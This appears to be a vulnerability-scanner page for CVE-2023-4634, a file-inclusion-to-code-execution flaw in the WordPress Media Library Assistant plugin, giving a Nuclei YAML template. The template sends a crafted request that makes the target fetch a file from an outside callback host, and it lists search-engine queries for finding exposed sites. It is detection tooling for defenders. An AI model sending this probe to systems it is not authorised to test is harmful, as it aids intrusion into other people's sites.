Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion

ID: CVE-2023-4634

Severity: critical

Author: Pepitoh,ritikchaddha

Tags: cve,cve2023,packetstorm,wordpress,wp,wp-plugin,lfi,rce,media-library-assistant,davidlingren

Description

A vulnerability in the Wordpress Media-Library-Assistant plugins in version < 3.09 is vulnerable to a local file inclusion which leading to RCE on default Imagegick installation/configuration.

YAML Source

id: CVE-2023-4634

info:
  name: Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion
  author: Pepitoh,ritikchaddha
  severity: critical
  description: |
    A vulnerability in the Wordpress Media-Library-Assistant plugins in version < 3.09 is vulnerable to a local file inclusion which leading to RCE on default Imagegick installation/configuration.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to local files.
  remediation: Fixed in version 3.09
  reference:
    - https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
    - https://fr.wordpress.org/plugins/media-library-assistant/advanced/
    - https://cve.report/CVE-2023-4634
    - https://packetstormsecurity.com/files/174508/wpmla309-lfiexec.tgz
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2955933%40media-library-assistant&new=2955933%40media-library-assistant&sfp_email=&sfph_mail=#file4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4634
    cwe-id: CWE-73
    epss-score: 0.01686
    epss-percentile: 0.87686
    cpe: cpe:2.3:a:davidlingren:media_library_assistant:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: davidlingren
    product: media_library_assistant
    framework: wordpress
    shodan-query: http.html:wp-content/plugins/media-library-assistant
    fofa-query: body=wp-content/plugins/media-library-assistant
    publicwww-query: "wp-content/plugins/media-library-assistant"
  tags: cve,cve2023,packetstorm,wordpress,wp,wp-plugin,lfi,rce,media-library-assistant,davidlingren

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/media-library-assistant/readme.txt"
      - "{{BaseURL}}/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://{{interactsh-url}}/patrowl.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "Media Library Assistant"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100c52359b2c718319cfa814cf412d323ba0acb268c836aef2db33d095bed5b51690221009ec1be143497baa73eb01a2e7a4bce8656a73fc5e45665479fe45c347f03636b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4634.yaml"

View on Github